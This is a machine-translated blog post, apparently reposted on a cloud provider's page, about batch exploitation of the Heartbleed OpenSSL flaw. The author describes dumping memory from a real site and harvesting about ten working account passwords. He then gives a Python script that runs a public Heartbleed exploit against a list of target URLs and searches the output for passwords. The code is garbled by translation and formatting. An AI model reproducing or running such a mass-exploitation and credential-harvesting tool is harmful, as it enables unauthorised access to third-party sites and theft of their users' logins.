Batch detection of openssl (heartbleed) Vulnerabilities

Source: Internet
Author: User

Recently, the openssl (heartbleed) vulnerability is quite popular. It seems that some people on Weibo have said there are not many dangers in the past few days. However, according to the test, it is found that the damage is still relatively large.

So I found a site and used a for loop to capture 100 files in batches. It took about 10 minutes to complete the process. There were about 10 accounts and passwords to search for. Basically, I could log on to the site, if it is a website with a large traffic volume, more websites may be caught in a certain period of time! I used the existing EXP to write a program to facilitate batch detection of this vulnerability, mainly by practicing python. I feel that the process is too slow. Paste the Code:

# Coding: utf-8import subprocessimport time # traverse URLdef readtar (targetpath) in the target file: f = open (targetpath, "r") for url in f. readlines (): url = url. strip ("\ r \ n") exploit (url) # execute Exp, get the original echo after execution, and send it to getres for processing def exploit (url ): cmd = "python" + r "e: \ 0day \ openssl \ ssltest. py "+ url print cmd expover = subprocess. popen (cmd, stdout = subprocess. PIPE) time. sleep (5) expres = expover. stdout. read () print expres ''' # execute echo filtering to obtain the password string def getres (expres): ispwd = False if expres. find ("password")> 0: ispwd = True if ispwd = True: keywords = "password" before = expres [expres. index (keywords)-280: expres. index (keywords)] after = expres [expres. index (keywords) + len (keywords): expres. index (keywords) + len (keywords) + 140] www.bkjia.com passallstr = before + keywords + after print passallstr if len (passallstr) = 0: print "Maybe no pass or user in strings" ''' if _ name __= = '_ main _': # specify the target file targetfile = r "e: \ 0day \ url.txt "readtar (targetfile)

It mainly relies on the published exp, but adds a simple file to read and traverse the code tested one by one. It also wants to print only a few lines before and after the keyword "password, finally, it seems that there are some problems, so I commented out.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.